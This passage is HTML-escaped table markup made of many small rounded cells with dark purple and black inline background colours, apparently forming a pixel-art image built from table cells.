&lt;td style=&quot;background-color: #20122a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0f24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1225; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f3c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401d21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #331522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c1d22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #351b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #321b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2323; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #361d22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b151f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #28131e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #29131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #25111f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210f1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190b1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #14091b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #12081a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c071a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a071c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b061b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b071c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c081c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d081a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a0619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080519; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b081b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1222; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241627; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #28182a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #361e2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #1e132b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #110b23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130b23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1124; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190d22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #200f22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #311521; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1920; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #270f1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #260e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d131e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1721; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1720; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #301821; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #28121e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0e1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0d1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170b1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150b1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160c1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #100a1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #100a1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #10091a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0819; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080518; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #07051a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #09061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #09061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #28121d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190e1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0e20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1124; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241529; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1a2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #1e132b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170d25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190c22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0e23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140c22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140b21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0c1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #230e20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241021; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210e1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210c1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e0c1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0a1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #18091e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #240e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #200c1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #18091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #14091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11091c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #09071a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #08061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070519; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #07061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0c0718; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a0618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060518; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070516; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070617; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080617; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070516; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080617; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090617; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150a19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0e1a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130a1a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160c1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160d1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0f21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #190d27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150b24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120822; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130a22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150a22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190b20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #220f21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241020; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210c1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180a1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150920; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11071d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0a1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f0a1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210a1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b0d1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a081b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #11071b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #15081c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #14081c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d071b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070418; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a0619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #08061a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090619; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120819; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0d0618; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #050417; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #050417; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060418; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060417; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060416; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0a0517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b0617; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #070415; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060415; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060415; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120918; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140918; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
